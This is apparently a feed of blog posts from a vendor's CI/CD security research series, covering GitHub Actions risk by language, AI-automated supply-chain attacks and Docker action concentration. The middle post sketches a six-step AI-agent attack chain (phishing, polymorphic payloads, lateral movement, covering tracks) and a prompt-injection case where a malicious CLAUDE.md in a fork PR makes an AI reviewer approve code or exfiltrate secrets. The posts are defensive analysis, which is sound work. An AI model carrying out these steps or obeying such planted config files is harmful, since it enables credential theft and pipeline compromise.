The irony is structural: the language that eliminates entire classes of runtime bugs through its type system has its trust model end at the compiler binary. Everything about how that compiler gets into the CI environment - which action downloads it, which version, from whose repository - operates on implicit trust.

Why JavaScript Is Lowest

JavaScript’s 23.6% vulnerability rate is the mirror image of Rust’s 77.9%. The explanation is similarly structural:

Simple CI pipelines. A typical JavaScript/Node.js CI workflow is three lines: actions/checkout, actions/setup-node, and npm test. Both actions/checkout and actions/setup-node are first-party GitHub actions with broad adoption and often SHA-pinned. The third-party dependency count is minimal.

Mature ecosystem tooling. NPM, Yarn, and pnpm handle dependency management, building, and publishing without requiring third-party CI actions. The build toolchain lives in the package manager, not in the workflow file.

Lower CI/CD ambition. JavaScript repos less frequently attempt multi-platform builds, binary distribution, or complex release automation in their GitHub Actions workflows. Less complexity means less attack surface.

JavaScript’s low vulnerability rate doesn’t mean JavaScript projects are more secure overall - they face their own supply chain risks through npm package dependencies. But at the CI/CD pipeline level, simpler workflows mean fewer action dependencies, and fewer dependencies mean fewer findings.

The Middle Ground - Correlation, Not Causation

It’s important to be precise about what this data shows. The language itself doesn’t cause CI/CD vulnerabilities. The CI/CD complexity that each language ecosystem demands is the causal factor.

Languages cluster by CI complexity:

High complexity (50%+ vuln rate): Rust, Elixir, TypeScript, Haskell, PHP, Scala, Go, Dart, Ruby. These languages share characteristics: complex build toolchains, cross-compilation needs, or heavy reliance on third-party CI actions for setup and deployment.

Medium complexity (35-50%): Kotlin, C++, Python. Moderate CI needs - some third-party action usage, but less platform-specific complexity than the top tier.

Low complexity (under 35%): C#, C, JavaScript. Simpler CI pipelines with fewer third-party dependencies.

The pattern holds across the dataset: languages whose ecosystems drive developers toward complex, multi-action CI workflows have higher vulnerability rates. Languages where a basic CI pipeline requires minimal third-party actions have lower rates.

PHP and Ruby - The Setup Action Trap

PHP at 54.7% and Ruby at 51.2% share a common pattern: their CI vulnerability rates are driven largely by one action each.

PHP repos rely on shivammathur/setup-php - a single-maintainer action used by 1,147 repos in our dataset. It’s THE PHP setup action. There’s no meaningful alternative. If you’re running PHP CI on GitHub Actions, you’re almost certainly using this action, and you’re almost certainly using it with a mutable version tag.

This action is maintained by a single account. 1,147 repos - spanning major CMS platforms, e-commerce frameworks, and API tooling - depend on one person’s GitHub account to deliver their PHP build environment. This is the single-maintainer problem concentrated in a single language ecosystem.

Ruby repos show a similar pattern with ruby/setup-ruby at 1,275 repos. The difference: ruby/setup-ruby is maintained by the Ruby GitHub organization, not an individual - so the fragility risk is lower. But the concentration risk remains. Over a thousand repos depend on the same action, overwhelmingly unpinned.

Both ecosystems also have secondary dependencies. PHP repos commonly pair setup-php with codecov/codecov-action for coverage reporting. Ruby repos pair setup-ruby with various gem publishing and test reporting actions. Each additional action extends the chain.

Go - The Container Builder

Go at 53.8% vulnerability rate sits squarely in the “high complexity” tier, driven by two factors:

Go’s compilation model produces static binaries, which encourages multi-platform binary distribution. Go CI workflows frequently build for Linux (amd64, arm64), macOS (amd64, arm64), and Windows - each target potentially using different actions for setup, build, and release. The release pipeline often involves goreleaser (a popular release automation tool) and Docker actions for container packaging.

Go repos are among the heaviest users of Docker actions - login, buildx, build-push - because Go’s compiled binaries are commonly packaged as container images. This means Go repos inherit Docker’s concentration risk on top of their own language-specific dependencies.

The Go ecosystem doesn’t have a single dominant setup action like Rust’s rust-toolchain or PHP’s setup-php - actions/setup-go is first-party and commonly SHA-pinned. But the release and distribution phase adds complexity that drives the overall rate above 50%.

The Elixir Surprise

Elixir at 67.3% - second only to Rust - is the less-obvious finding. Elixir’s sample is smaller (278 repos), but the rate is striking for a language not typically associated with complex CI/CD.

The explanation maps to the same pattern: Elixir’s Mix-based build system drives complex CI configurations with Erlang/OTP version management, multiple release targets, and Phoenix-specific deployment workflows. The Elixir community is small but passionate about automation, and that automation means more action dependencies.

Haskell at 54.8% follows the same logic - cabal and stack toolchains require specific CI setup actions, and the Haskell CI ecosystem has fewer maintained options, concentrating dependencies.

The Trust Paradox by Language

The Trust Paradox - where the most trusted organizations have the most exposed pipelines - manifests differently across language ecosystems.

Rust repos from major organizations have even higher vulnerability rates than the Rust average, because organizational Rust projects tend to have the most complex CI - cross-compiling for embedded targets, running Miri and Clippy in CI, building for WebAssembly alongside native targets.

Python repos from major organizations show a different pattern: lower overall vulnerability rates (39.5%) but higher rates of critical findings, because Python CI often involves deployment workflows with cloud credential access.

The language risk matrix isn’t just about frequency - it’s about the type of exposure. Rust’s 77.9% is mostly medium-severity unpinned actions. Some languages with lower overall rates have higher concentrations of critical taint-to-execution chains.

The AGPL Paradox

License choice tells a parallel story:

License	Vuln Rate
AGPL-3.0	65.5%
Apache-2.0	49.1%
GPL-3.0	46.8%
MIT	42.0%
BSD-2-Clause	35.0%

AGPL repos - the most restrictive about code freedom - have the highest CI/CD vulnerability rate. BSD-2-Clause - the most permissive - has the lowest. The same structural explanation applies: AGPL repos tend to be self-hosted platforms with elaborate multi-stage build and deployment pipelines (think Git hosting platforms, low-code tools, workflow automation). Simpler MIT-licensed libraries have simpler CI.

The correlation between project complexity, CI complexity, and CI vulnerability is the throughline across both the language and license analyses.

The Popularity Penalty - Amplified by Language

The Popularity Penalty - where more starred repos have higher vulnerability rates - is amplified when viewed through the language lens.

High-star Rust repos (10K+ stars) have even higher vulnerability rates than the Rust average. These are the foundational tools - Tokio, Serde, Clap, and their peers - with the most complex CI matrices targeting the most platforms. The repos the Rust ecosystem depends on most are the most exposed.

The same pattern holds for TypeScript: popular TypeScript frameworks with 50K+ stars have vulnerability rates approaching 70%, driven by complex build, test, and release automation across npm, CDN distribution, and documentation deployment.

The Popularity Penalty and the Language Risk Matrix compound: a high-star Rust repo is in the highest-risk position in the dataset, hit by both the complexity of Rust’s toolchain and the complexity that popularity drives.

C and C++ - Deceptively Low

C at 32.1% and C++ at 41.3% are lower than you might expect for languages with complex build toolchains. The explanation: many C and C++ projects predate GitHub Actions and use traditional CI systems (Jenkins, Travis CI, self-hosted runners) instead of, or alongside, GitHub Actions workflows.

C and C++ repos that do use GitHub Actions tend to have simpler workflow configurations - often just a single workflow running make or cmake with actions/checkout. The complexity lives in the build system (Makefiles, CMake), not in the workflow file. This shifts the attack surface from the CI pipeline to the build toolchain itself - a different risk that Runner Guard doesn’t measure.

The implication: C and C++ vulnerability rates may be understated relative to their actual CI/CD risk, because the risk lives in build systems that GitHub Actions workflow scanning doesn’t cover.

The Clean Repos - What They’re Doing Right

Approximately 29,747 repos in our dataset have zero findings. What distinguishes them?

JavaScript and Python lead the clean repos - reinforcing the “simpler CI is safer” thesis. But the clean repos aren’t exclusively simple projects. Some are complex projects that have invested in CI/CD security: SHA-pinning their actions, scoping their permissions, using first-party GitHub actions where possible.

The common patterns among clean repos: - Minimal third-party action usage - first-party GitHub actions (actions/*) where possible - SHA-pinned references where third-party actions are necessary - Scoped permissions (permissions: read-all or explicit per-job grants) - Simple workflow structures without complex matrix builds or multi-step release pipelines

These aren’t impossible standards. They’re the baseline that the Fix It guide walks through.

What You Can Do About It

Know your language’s risk profile. If you’re writing Rust, Go, or TypeScript, your CI/CD is statistically more likely to have supply chain vulnerabilities. That’s not a reason to change languages - it’s a reason to scan more frequently.
Audit your toolchain actions. Each language ecosystem has its dominant setup actions - dtolnay/rust-toolchain for Rust, shivammathur/setup-php for PHP, ruby/setup-ruby for Ruby. Identify yours and SHA-pin them.
Simplify where possible. Not every build matrix needs 12 targets. Not every release needs 5 platforms on day one. Complexity is the driver - reducing it reduces attack surface.
Watch single-maintainer dependencies. The Rust ecosystem’s concentration on rust-toolchain and rust-cache is a specific, addressable risk. PHP’s concentration on setup-php is another. Know which single-maintainer actions control your build toolchain.
Run Runner Guard against your language’s starter templates. If you’re creating new repos from templates, those templates probably have unpinned actions. Fix the template, and every new repo starts secure.

The language risk matrix isn’t a ranking of “good” and “bad” languages. It’s a map of where CI/CD complexity concentrates. The most complex build ecosystems need the most attention - and right now, they’re getting the least.

Every language community has its own version of this conversation to have. Rust needs to address its rust-toolchain/rust-cache dependency concentration. PHP needs to address its setup-php single-point-of-failure. TypeScript needs to address its release pipeline complexity. JavaScript is closest to the right model - simple CI that minimizes third-party dependencies - but even JavaScript isn’t immune, as npm supply chain attacks have shown in a different layer of the stack.

Scan your repos today. Runner Guard is Vigilant’s free, open-source CI/CD security scanner - the same tool that powered this research. Install it in under a minute:

brew install Vigilant-LLC/tap/runner-guard
runner-guard scan github.com/owner/repo

Install Runner Guard Learn More About Vigilant

14 security rules. Zero configuration. One command.

AI Agents as Force Multipliers — The Next Evolution of Supply Chain Attacks

sales@vigilantnow.com (Chris Nyhuis) — Tue, 24 Mar 2026 17:56:14 GMT

Chris Nyhuis

CEO, Vigilant

10 min read

Part of a 9-part research series on CI/CD pipeline security. See all articles below.

The tj-actions incident was the dress rehearsal. An AI-orchestrated version would be the main event - faster, stealthier, and hitting orders of magnitude more targets simultaneously.

The Setup

In our anatomy of a CI/CD chain attack, we walked through the five steps from reconnaissance to exfiltration. That chain - as it exists today - is manual. A human attacker identifies targets, compromises an account, writes a payload, and monitors the exfiltration. The tj-actions/changed-files incident in March 2025 followed this playbook. It was discovered and contained within days because human-paced attacks leave human-sized gaps.

AI agents change the calculus. Every step of the chain attack can be automated, parallelized, and adapted in real time. The skill barrier drops from “APT group with months of planning” to “motivated individual with API access.” The speed shifts from days to hours. The scale shifts from one action to hundreds simultaneously.

This isn’t speculation. Our scan - the reconnaissance phase of exactly this kind of attack - ran autonomously across 50,012 repos and identified 20,265 vulnerable targets with 192,776 findings in days with minimal human effort. We built it to find vulnerabilities. An adversary would build it to exploit them.

How AI Amplifies Each Step

Step 1: Reconnaissance - From Days to Hours

Traditional recon requires an attacker to manually scan repositories, map dependencies, and prioritize targets. An AI agent does this at API speed. It scans millions of repos in hours, builds dependency graphs automatically, and ranks targets by blast radius - how many downstream consumers each action has, how many forks each repo has, how sensitive the CI environment appears to be.

Our Runner Guard scan proves this is already feasible with today’s tooling. 50K repos scanned, 20,265 vulnerable targets mapped, compound vulnerability patterns identified - all automated. An attacker with similar tooling would have the same output but a different objective.

Step 2: Compromise - Personalized at Scale

AI-generated phishing campaigns can be personalized from a maintainer’s public footprint - their GitHub activity, conference talks, blog posts, LinkedIn profile. The targeting isn’t generic “Dear User” - it’s contextual, referencing the maintainer’s recent commits, their open issues, the specific projects they work on.

For high-value single-maintainer targets - action-gh-release (1,405 repos), rust-toolchain (989 repos), setup-php (1,147 repos) - the AI agent can research the maintainer’s public presence and craft targeted approaches that feel like legitimate community interaction. A well-crafted issue about a specific edge case in the maintainer’s action, linking to a page that harvests credentials. The social engineering is the same; the personalization scales with AI.

Step 3: Payload - Polymorphic Code Generation

Here’s where AI creates a qualitatively new threat. An AI agent can generate payload code that matches the target action’s existing code style - variable naming conventions, comment patterns, error handling approach, formatting. The malicious commit looks like it belongs in the codebase. Human review, if it happens, is less likely to flag code that “looks normal.”

The payload can be polymorphic - different for each target action, adapting to the codebase it’s injecting into. Traditional payloads are detectable because they’re static patterns. AI-generated payloads are detectable only by behavior analysis, which most CI/CD environments don’t perform.

Step 4: Propagation - Real-Time Monitoring

An AI agent can monitor CI runs across the compromised action’s consumers in real time. It can confirm which repos have triggered, verify exfiltration success, and adapt if a payload is detected or blocked. If one approach fails for a specific consumer, the agent can regenerate and push an updated payload within minutes.

From our data: docker/login-action@v3 alone would hit 1,848 repos. An AI agent monitoring those 1,848 CI runs could triage exfiltrated credentials by value - prioritizing cloud production credentials over development tokens, registry push tokens over read-only access - and begin lateral movement on the highest-value targets within the same time window.

Step 5: Lateral Movement - Autonomous Pivoting

Stolen credentials become the input to the next agent loop. Cloud credentials → enumerate infrastructure → identify sensitive data → exfiltrate. Registry tokens → push backdoored packages → impact downstream consumers. GITHUB_TOKEN → push code to the downstream repo → establish persistent access.

An AI agent can perform this lateral movement autonomously, pivoting from one compromised environment to the next without human direction. Each credential opens a new branch of the attack tree. The agent explores all branches simultaneously.

Step 6: Covering Tracks

A human attacker might forget to restore the original action code after the exfiltration window closes. An AI agent won’t. It can move the tag back to the legitimate commit, clean up artifacts, and close the window - leaving minimal forensic evidence that the attack ever occurred.

The Data Backs It Up

Our scan contains the evidence that this threat model is real and the attack surface is already in place:

The reconnaissance phase works. 20,265 vulnerable repos identified with 192,776 findings from public data, automated, in days. The tooling to map the entire GitHub Actions supply chain already exists.

The targets are concentrated. Single-maintainer chokepoints and organizational concentration mean an attacker doesn’t need to compromise hundreds of accounts. A handful of high-value targets - action-gh-release, rust-toolchain, Docker - cover thousands of downstream repos.

The compound vulnerabilities are pre-staged. 3,172 repos have the complete attack chain already assembled: unpinned action + write permissions. 611 have the triple compound. These aren’t targets that need exploitation - they’re targets that need one compromised dependency to cascade into full compromise.

AI is already in CI/CD. anthropics/claude-code-action is used unpinned in 175 repos, nearly doubling during our scan from 77 to 175 repos. Hundreds of claude-*.yml, copilot-*.yml, and ai-*.yml workflows exist across top repos. AI in CI is mainstream - and growing faster than security awareness.

The AI-in-CI Paradox

The most ironic dimension of this threat isn’t AI attacking CI/CD - it’s AI defending CI/CD while simultaneously creating new attack surfaces.

Repos are deploying AI agents - Claude, Copilot, and others - to review pull requests automatically. These agents load configuration files from the repository checkout: CLAUDE.md, .cursorrules, copilot-instructions.md. When the workflow trigger is pull_request_target, the checkout includes untrusted fork code.

The attack chain:

Attacker submits a PR to a repo using AI-powered PR review
The PR includes a malicious AI config file (CLAUDE.md with adversarial instructions)
The AI agent loads the config during automated review on pull_request_target
The AI follows the attacker’s instructions - approving the PR, exfiltrating secrets, or modifying the review output
The AI agent designed to improve security becomes the attack vector

RGS-010 - our detection rule for this class of attack - found 5 findings across 4 repos, including a leading Python AI framework (4 findings) and a major browser organization. Runner Guard is currently the only scanner detecting AI config injection in CI/CD.

The AI tools being deployed to defend pipelines are themselves creating novel attack surfaces that traditional scanners don’t detect. The paradox: the more AI we deploy in CI/CD for security, the more AI-specific attack surface we create.

claude-code-action: Case Study in AI Supply Chain Growth

anthropics/claude-code-action provides the clearest growth trajectory data in our scan:

Scan Progress	@v1 Repos	Total Repos
40% complete	77	77
53.8% complete	140	99
100% complete	140	175

The breakdown at 100%: - @v1 - 140 repos (standard release channel) - @beta - 35 repos (early adopters on unstable channel) - @eap - 3 repos (early access preview) - @main - 1 repo (branch-pinned - worst case)

Adoption nearly doubled during our scan period. A major database company forked claude-code-action and runs their own copy at @v1. The action itself isn’t the vulnerability - it does what it’s designed to do. The vulnerability is 175 repos trusting mutable tags for code that executes on every pull request with CI secrets access.

This is the pattern playing out in real time: a new AI tool gains traction, developers adopt it quickly, nobody SHA-pins it. The supply chain problem repeats faster than the ecosystem can learn from each iteration.

AI Tools as OIDC Targets

Several of the most popular AI tooling repositories have RGS-009 OIDC misconfigurations - cloud credential theft vectors sitting inside the AI ecosystem:

A popular AI chat interface (85K-90K stars) - unsafe checkout with cloud credential access
A popular multi-agent AI framework (60K-65K stars) - OIDC misconfig
A popular AI desktop client (40K-45K stars) - 10 different rule categories, broadest profile

These repos are building the tools that will power autonomous AI agents. Their own build pipelines are exploitable. An attacker who compromises the CI of an AI tool gains influence over every user of that tool - and the AI tool’s own behavior in downstream environments.

The AI Ecosystem’s Blind Spot

There’s a pattern across the AI repos in our dataset that’s worth naming explicitly: teams building AI tools focus intensely on model safety - alignment, guardrails, content filtering, prompt injection defenses - while paying almost no attention to the CI/CD pipeline that builds and deploys the tool itself.

The numbers tell the story. A popular LLM web interface (120K-130K stars) has 172 findings across 4 rule categories. A popular LLM inference engine (90K-100K stars) has 181 findings across 4 rules. A popular local LLM runtime (150K+ stars) has 36 findings across 3 rules. These are the repos building the AI infrastructure the industry depends on, and their CI/CD pipelines have taint-to-execution chains where untrusted input flows to code execution.

The AI safety community has spent enormous effort on making models safe to use. Almost none of that effort has been directed at making the build systems that produce those models safe from supply chain compromise. A backdoored CI/CD pipeline in an AI framework doesn’t care about model alignment - it has access to everything the build system touches.

This blind spot is particularly dangerous because AI repos tend to have complex CI/CD configurations - model training workflows, GPU-accelerated builds, multi-platform distribution, automated benchmarking - all of which create more action dependencies, more permission grants, and more attack surface.

The HackerClaw Precedent

Vigilant open-sourced Runner Guard’s CI/CD scanning capabilities from the ThreatCert platform specifically because of the HackerClaw campaign - an attack operation that demonstrated AI agents being used to exploit CI/CD pipelines at scale. The attack combined automated reconnaissance with LLM-generated social engineering to compromise action maintainers, using techniques nearly identical to the amplified chain attack we describe above.

HackerClaw proved that AI-orchestrated supply chain attacks aren’t a theoretical future risk - they’re a present reality. The campaign used AI for exactly the steps we outlined: automated target identification, personalized compromise attempts, and adaptive payload generation. The main difference between HackerClaw and the fully-autonomous scenario we describe is scale - HackerClaw still had humans directing the AI agents. The fully-autonomous version is an engineering problem, not a research one.

This is why Vigilant released Runner Guard as a free, open-source tool. The attack tooling is already being built. The defense tooling needs to be equally accessible.

What This Means for Defense

The AI force multiplier changes the defensive calculus in two ways:

Speed of response matters more. A human-paced attack gives defenders days to detect and respond. An AI-paced attack compresses that window to hours. The tj-actions incident was detected relatively quickly because the attack was crude - credentials were exfiltrated to a public gist. An AI-orchestrated version would use encrypted channels, rate-limited exfiltration, and adaptive payloads that change when detection seems likely.

Point-in-time scanning isn’t enough. If an attack can execute and clean up within hours, a weekly or monthly scan will miss it entirely. Continuous monitoring - scanning every hour, correlating CI/CD changes with other threat signals - is the defensive answer to AI-paced attacks. ThreatCert’s Temporal Shift Analysis detects when pipeline configurations change rapidly, flagging the velocity of change as a risk signal separate from the change itself.

The chain attack described in our anatomy piece is the current threat. AI force multiplication is the near-future evolution. The defenses that work against both are the same: SHA-pin your actions (eliminating the entry point), scope your permissions (limiting the blast radius), and monitor continuously (detecting the attack in progress). The difference is urgency - the window for getting these basics right is closing faster than most teams realize.

What You Can Do About It

SHA-pin every action now. Not next quarter. Not after the next sprint. The AI force multiplier compresses timelines. The supply chain that was “probably fine” when attacks were human-paced becomes critically exposed when attacks are AI-paced.
Audit AI tool deployments in CI/CD. If your repos use claude-code-action, copilot-review, or any AI-powered PR review tool, verify they’re SHA-pinned and running on pull_request (sandboxed) not pull_request_target (secrets access). If they must run on pull_request_target, add explicit authorization checks.
Treat AI config files as untrusted input. CLAUDE.md, .cursorrules, copilot-instructions.md - any file that configures an AI agent’s behavior should be treated with the same caution as executable code when checked out from untrusted sources (forks).
Monitor for velocity changes. An AI-orchestrated attack moves faster than human attacks. Temporal Shift Analysis - tracking how quickly pipeline configurations change - catches the rapid modifications that characterize automated attacks. Changes that happen faster than your team could plausibly make them are a signal.
Assume the attack surface will grow. The number of AI tools in CI/CD is increasing month over month. Each new tool is another potential configuration injection target, another unpinned action reference, another supply chain dependency. Build the scanning habit now, before the attack surface outpaces your visibility.

Scan your repos today. Runner Guard is Vigilant’s free, open-source CI/CD security scanner - the same tool that powered this research. Install it in under a minute:

brew install Vigilant-LLC/tap/runner-guard
runner-guard scan github.com/owner/repo

Install Runner Guard Learn More About Vigilant

14 security rules. Zero configuration. One command.

The Docker Chokepoint — One Org, Six Actions, Thousands of Pipelines

sales@vigilantnow.com (Chris Nyhuis) — Tue, 24 Mar 2026 17:45:50 GMT

Chris Nyhuis

CEO, Vigilant

10 min read

Part of a 9-part research series on CI/CD pipeline security. See all articles below.

The most critical concentration risk in GitHub’s CI/CD ecosystem isn’t a single action - it’s a single organization. Docker controls six of the most commonly unpinned actions in the dataset, running inside the container build pipelines of thousands of the most popular open-source projects.

The Setup

When we mapped the supply chain crisis across GitHub’s top 50K repos, Docker’s official GitHub Actions stood out as a category of their own. Not because Docker actions are poorly built - they’re among the most professionally maintained in the ecosystem. The problem is concentration. One organization’s actions dominate the top of the unpinned actions list, creating a single point of failure that spans thousands of the most critical open-source projects.

This is a different kind of risk from the single-maintainer problem. Docker is a company with engineering teams and security practices. But organizational compromise is still possible - and the blast radius of a Docker GitHub org compromise would be unmatched in the CI/CD supply chain.

The Numbers

Docker Action	Repos	Findings
docker/login-action@v3	1,848	5,099
docker/setup-buildx-action@v3	1,845	4,258
docker/setup-qemu-action@v3	1,181	2,038
docker/build-push-action@v6	1,090	2,665
docker/metadata-action@v5	900	1,734
docker/login-action@v2	504	1,247

Docker’s total footprint: approximately 2,740+ unique repos affected across 130+ unique action references. These actions appear in more top repos than any other set of actions by any single maintainer or organization.

docker/login-action and docker/setup-buildx-action are nearly identical in adoption - 1,848 and 1,845 repos respectively. This makes sense: any repo building Docker containers needs both. They travel as a pair, which means a compromise of either action’s tag would likely hit the same 1,848 pipelines.

The pairing pattern extends across Docker’s action suite. A typical container build workflow uses three to five Docker actions in sequence: setup-qemu for multi-platform support, setup-buildx for the builder, login for registry authentication, metadata for image tagging, and build-push for the actual build and push. Each action is a link in the chain. Each link uses a mutable tag. The attack surface isn’t one action - it’s the entire pipeline orchestration layer that Docker provides.

What this means in practice: when we say 2,740+ unique repos are affected by Docker’s unpinned actions, that’s counting each repo once. Most of those repos use three to five Docker actions simultaneously, each unpinned. The finding count per repo is multiplicative - 1,848 repos with docker/login-action findings likely have 3-5 additional Docker action findings each.

Why Docker Actions Are the Chokepoint

Docker actions don’t just run arbitrary CI steps. They have privileged access by design.

docker/login-action authenticates with container registries - Docker Hub, AWS ECR, Google Container Registry, Azure Container Registry, GitHub Container Registry. During execution, this action holds your registry credentials in memory. A compromised version could exfiltrate those credentials and use them to push malicious container images to your registries.

docker/build-push-action builds container images and pushes them to registries. It has access to the build context (your application source code), the Dockerfile, and the push credentials. A compromised version could inject malicious layers into your container image - a backdoor in the base image, a modified entrypoint, an additional network call that phones home.

docker/setup-buildx-action configures the Docker BuildKit builder. It runs before the build step, setting up the environment that will process your Dockerfile. A compromised version could configure the build environment to intercept secrets, modify build output, or install persistent tooling on self-hosted runners.

docker/metadata-action generates tags and labels for container images. It determines what your images are tagged as - latest, version numbers, commit SHAs. A compromised version could manipulate image tags to cause deployments to pull the wrong image version.

The combination is the threat. These actions form a pipeline: authenticate → configure → build → push. Compromise any link and the attacker has access to everything that flows through it.

The Docker Pipeline Attack Scenario

Here’s how a Docker-focused chain attack would work:

Compromise docker/login-action. An attacker with push access moves the @v3 tag to a malicious commit. The modified action captures registry credentials during authentication and exfiltrates them.
Silent propagation. On the next CI trigger in any of the 1,848 consuming repos, the compromised login action executes. Registry credentials for Docker Hub, AWS ECR, GCR, GHCR - whatever that repo authenticates against - are stolen.
Image poisoning. With stolen registry credentials, the attacker pushes backdoored container images to the repo’s container registry. The images use the same tags (including latest) as the legitimate ones.
Deployment propagation. Every system pulling that container image - Kubernetes clusters, cloud deployments, local development environments - now runs the attacker’s code. The blast radius extends from CI/CD into production.

This is a supply chain attack that jumps domains - from the CI/CD pipeline supply chain into the container image supply chain, and from there into production infrastructure. The Docker chokepoint is the bridge between these two supply chains.

What makes this scenario particularly dangerous is the detection gap. Traditional container scanning tools (Trivy, Snyk Container, Anchore) scan the resulting image for known CVEs in installed packages. They don’t detect a malicious layer injected during the build process - because the injected code isn’t a known vulnerability. It’s novel malware placed by the build tool itself. The container scanner sees a clean base image with expected packages. The backdoor lives in a layer that the scanner doesn’t flag because it was added by the “trusted” build process.

Similarly, CI/CD logs would look normal. The workflow file hasn’t changed. The action reference still says @v3. The build output still produces an image. Everything appears to work exactly as expected - because the compromise is upstream in the action code, not in the workflow configuration.

In my red team experience, these cross-domain attacks - where the compromise crosses from one supply chain into another - are the hardest to detect and the most impactful. The defenders looking at CI/CD don’t see the container issue. The defenders looking at containers don’t see the CI/CD issue. The attack lives in the gap between teams.

Version Sprawl in Docker Actions

Docker actions don’t just have one mutable tag - they have 28.

docker/build-push-action has been referenced across 28 unique mutable refs in our dataset:

Version Range	Notable Versions	Status
v1-v3	@v1, @v2, @v3	End-of-life - still in active use
v4-v5	@v4 (128 repos), @v5 (291 repos)	Previous majors - widely used
v6	@v6 (610 repos)	Current - most common
Patch	@v6.19.2, @v5.x.x	Specific patches - still mutable
Branch	@master (3 repos)	Worst case - tracks every commit

85+ repos still use v1 through v3 of Docker actions - end-of-life versions that are no longer maintained but still resolve to code when referenced. An attacker who compromises an EOL tag faces even less scrutiny because nobody is watching those old versions.

The 3 repos pinned to @master are the most exposed - every commit to Docker’s action repos executes immediately in those pipelines. But even @v6.19.2, which looks specific, is a mutable Git tag. It can be moved just as easily as @v3.

The Downstream Impact

The repos using Docker actions unpinned aren’t hobby projects. They’re the infrastructure of the software industry.

Cross-referencing our Docker action findings with the broader dataset, the repos that depend on Docker’s unpinned actions include major cloud provider repos, OSS foundation projects, AI/ML frameworks, distributed databases, and developer tools used by millions. When we say 1,848 repos use docker/login-action@v3, those repos have a combined downstream fork count in the tens of millions.

The concentration creates a cascade effect specific to Docker’s position in the ecosystem. Docker actions are uniquely positioned at the intersection of two supply chains: the CI/CD pipeline supply chain (GitHub Actions) and the container image supply chain (Docker Hub, registries). A compromise at this intersection doesn’t just affect CI - it poisons the container images that flow into production deployments worldwide.

Consider the downstream path: a compromised docker/build-push-action injects a malicious layer into a container image during the build. That image gets pushed to a registry. Kubernetes clusters, cloud deployments, and development environments pull the image. The malicious layer executes in every context that runs the container. The CI/CD compromise has crossed the boundary into runtime - and the repos that built those images have no idea, because their workflow files haven’t changed.

This is what makes the Docker chokepoint different from other concentration risks. It’s not just about code running in CI - it’s about code flowing into every deployment that consumes the build output.

Who Depends on Docker Actions

The language communities most exposed to the Docker chokepoint map predictably to container-heavy ecosystems:

Go repos heavily use Docker actions for multi-platform binary builds and container packaging
Rust repos pair Docker actions with dtolnay/rust-toolchain for cross-compilation into container images
TypeScript/Node repos use Docker for production container builds alongside npm-based CI

The overlap with the language risk matrix data is notable: the languages with the highest CI/CD vulnerability rates (Rust at 77.9%, TypeScript at 61.7%, Go at 53.8%) are also among the heaviest Docker action consumers. Complex build toolchains drive both higher Docker action adoption and higher overall vulnerability rates.

The Single-Maintainer Contrast

Docker is an organization - which makes its concentration risk different from the single-maintainer problem. The risk profile is lower on the credential compromise axis (corporate accounts have MFA, SSO, audit logs) but higher on the blast radius axis (one org, six actions, 2,740+ repos).

The comparison:

Maintainer	Type	Repos	Actions	Compromise Vector
docker	Organization	2,740+	6	Org compromise, insider, CI/CD of the action itself
action-gh-release	Individual	1,405	1	Personal credential compromise
setup-php	Individual	1,147	1	Personal credential compromise
rust-toolchain	Individual	989	1	Personal credential compromise

Docker’s risk is concentration. action-gh-release’s risk is fragility. Both are supply chain problems, but they require different mitigations. Docker actions should be SHA-pinned because of their blast radius. Single-maintainer actions should be SHA-pinned because of their fragility. In both cases, the fix is the same - but the urgency comes from different threat models.

The Codecov Parallel

The Docker chokepoint isn’t unprecedented - it mirrors the Codecov incident of April 2021. Codecov’s Bash Uploader script was modified by an attacker who gained access through a compromised Docker image in Codecov’s CI pipeline. The modified script exfiltrated environment variables - including CI secrets, tokens, and keys - from every repo running the uploader.

The parallel is instructive: Codecov was a single tool in widespread use across thousands of repos. The compromise was silent - the uploader still functioned correctly. The attack ran for over two months before detection. And the blast radius was massive, with companies like Twitch, HashiCorp, and others disclosing potential impact.

Docker’s actions occupy an even more central position than Codecov’s uploader did. codecov/codecov-action appears in 1,049 repos in our dataset across 35 version refs. Docker’s login-action alone is in 1,848 - nearly double - and Docker controls five additional actions in the same pipeline. The lesson from Codecov is that these concentration risks aren’t theoretical. They’ve been exploited before. The question is whether Docker’s chokepoint gets exploited before the ecosystem pins its way out of the blast radius.

What SHA-Pinned Docker Actions Look Like

The difference between vulnerable and secure Docker action usage:

Before (mutable - vulnerable):

- uses: docker/login-action@v3
- uses: docker/setup-buildx-action@v3
- uses: docker/build-push-action@v6

After (SHA-pinned - secure):

- uses: docker/login-action@74a8a23... # v3.4.0
- uses: docker/setup-buildx-action@b5ca514... # v3.10.0
- uses: docker/build-push-action@14487ce... # v6.14.0

The SHA pin locks the reference to a specific commit. The version comment preserves readability. If Docker pushes a new version, your workflow keeps running the code you reviewed. You upgrade when you choose to, not when the tag moves.

Runner Guard’s autofix engine performs this transformation automatically - resolving every mutable Docker action reference to its current SHA with a version comment. The Fix It guide covers the complete process.

What You Can Do About It

SHA-pin all Docker actions immediately. docker/login-action, docker/setup-buildx-action, docker/build-push-action, docker/metadata-action, docker/setup-qemu-action. These are the highest-blast-radius actions in the ecosystem. Pin them first.
Configure Dependabot for Docker action updates. SHA pins need maintenance - when Docker releases security patches, you need to update your pins. Dependabot automates this with PR-based updates.
Audit your Docker action versions. If you’re using v1-v3 of any Docker action, you’re on an end-of-life version. Update to current and SHA-pin in a single step.
Consider Docker’s container signing. Docker Content Trust and Sigstore provide image-level verification that complements action-level SHA pinning. Pin the action AND verify the image.
Monitor Docker’s GitHub organization. If Docker’s org security posture changes - ownership changes, unusual access patterns, public incidents - that’s a signal to re-evaluate your dependency. Continuous monitoring catches these signals automatically.

The Docker chokepoint illustrates why supply chain security can’t focus on individual actions in isolation. It’s the concentration pattern - one org controlling the build pipeline infrastructure for thousands of projects - that creates systemic risk. The fix is mechanical: SHA-pin, configure updates, monitor. The risk is structural: a single point of failure at the foundation of the container ecosystem.

The broader lesson extends beyond Docker. Any organization whose actions dominate a critical pipeline function - build, deploy, sign, publish - creates a chokepoint. Docker is the current example. As the ecosystem evolves, new chokepoints will emerge around whatever tooling developers converge on next. The defense isn’t just pinning Docker actions today - it’s building the muscle to identify and pin whatever becomes the next concentration risk tomorrow. That requires continuous monitoring of your CI/CD dependency landscape, not just periodic audits.

Scan your repos today. Runner Guard is Vigilant’s free, open-source CI/CD security scanner - the same tool that powered this research. Install it in under a minute:

brew install Vigilant-LLC/tap/runner-guard
runner-guard scan github.com/owner/repo

Install Runner Guard Learn More About Vigilant

14 security rules. Zero configuration. One command.

Anatomy of a CI/CD Chain Attack — From Recon to Exfiltration

